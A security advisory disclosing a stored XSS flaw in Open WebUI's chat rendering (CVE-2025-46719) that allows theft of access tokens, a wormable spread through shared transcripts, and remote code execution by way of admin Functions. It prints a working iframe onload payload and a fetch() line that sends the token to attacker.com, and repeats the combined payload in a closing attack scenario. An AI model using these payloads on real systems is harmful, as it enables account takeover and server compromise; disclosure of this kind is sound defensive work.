CVE-2025-46719: Open WebUI: chat XSS steals tokens, admin RCE

### Summary A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel. If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code. **This vulnerability also affects chat transcripts uploaded to `https://openwebui.com/c/<user>/<chat_id>`, allowing for wormable stored XSS in https://openwebui.com** ### Details ### Stored XSS The file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code: ```TypeScript {:else if token.text.includes(`<iframe src="${WEBUI_BASE_URL}/api/v1/files/`)} {@html `${token.text}`} ``` That code checks if a chat message has an html tag which contains the text `<iframe src="${WEBUI_BASE_URL}/api/v1/files/`, and if so, it renders that html tag using `{@html}`, which is a dangerous Svelte functionality that allows text to be rendered as HTML code. Attackers can abuse this by sending a chat message with the following payload: `<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>`, where `http://localhost:8080` is the URL where the open-webui backend server is hosted. This will cause a JavaScript alert window to be displayed every time that chat transcript is opened.   In a real attack scenario, instead of injecting `alert(1)` in the `onload` attribute, attackers can use the following code to steal the user's access token and send it to a server they control: `fetch("https://attacker.com/?token=" + localStorage.getItem("token"))` This is possible because the access token is stored inside the user's localStorage, which is accessible by JavaScript. Then, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking "Share"  **If "Enable Community Sharing" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed**  This makes the exploit a **wormable Stored XSS**. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori's profile, share it with other members of the open-webui community, and infect their profiles as well. <hr> ### RCE If an attacker manages to steal an admin user's token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server. The following HTTP request can be sent to the backend server to execute arbitrary python code.   ### PoC Attackers can abuse this by sending a chat message with the following payload: `<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>`, where `http://localhost:8080` is the URL where the open-webui backend server is hosted. ### Impact Attackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users' accounts.

An attacker creates a normal-looking chat on a target open-webui instance and embeds an iframe payload such as `<iframe src="http://<host>/api/v1/files/" onload="fetch('https://attacker.com/?t='+localStorage.getItem('token'))"></iframe>` as a message. They share that chat with other users on the same server, or — if community sharing is enabled — upload it to openwebui.com, where any visitor who opens it silently exfiltrates their access token to the attacker. If an admin's session touches the transcript, the attacker replays the stolen token to open the admin Functions editor and registers a new Function containing malicious Python, which open-webui executes server-side — giving the attacker a foothold on the backend host and access to configured LLM API keys/model endpoints. Because the payload lives inside a shareable chat object, the attack self-propagates: each new viewer who opens the transcript is compromised and can be induced to reshare it, making this a wormable stored XSS chain rather than a one-off phishing link.